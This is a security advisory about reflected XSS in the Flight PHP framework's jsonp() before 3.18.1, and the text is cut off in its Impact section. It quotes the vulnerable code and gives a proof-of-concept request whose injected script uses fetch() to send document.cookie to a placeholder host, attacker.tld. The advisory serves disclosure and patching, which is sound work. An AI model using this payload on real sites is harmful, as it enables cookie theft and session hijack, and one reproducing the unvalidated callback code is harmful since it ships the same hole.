Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.

Affected: Packagist: flightphp/core

### Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

### Affected code `flight/Engine.php` (≈ lines 1000-1013):

```php $callback = $this->request()->query[$param]; $this->response() ->status($code) ->header('Content-Type', 'application/javascript; charset=' . $charset) ->write($callback . '(' . $json . ');'); ```

No regex or identifier validation is performed before the callback is written.

### Proof of concept Given any route that calls `Flight::jsonp($data)`:

``` GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);// ```

Reproduced response (`Content-Type: application/javascript`):

``` ;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"}); ```

When the vulnerable endpoint is loaded via `<script src="https://victim.tld/api?jsonp=…">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.

### Impact - Reflected XSS in any application calling `Flight::jsonp()`. - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin…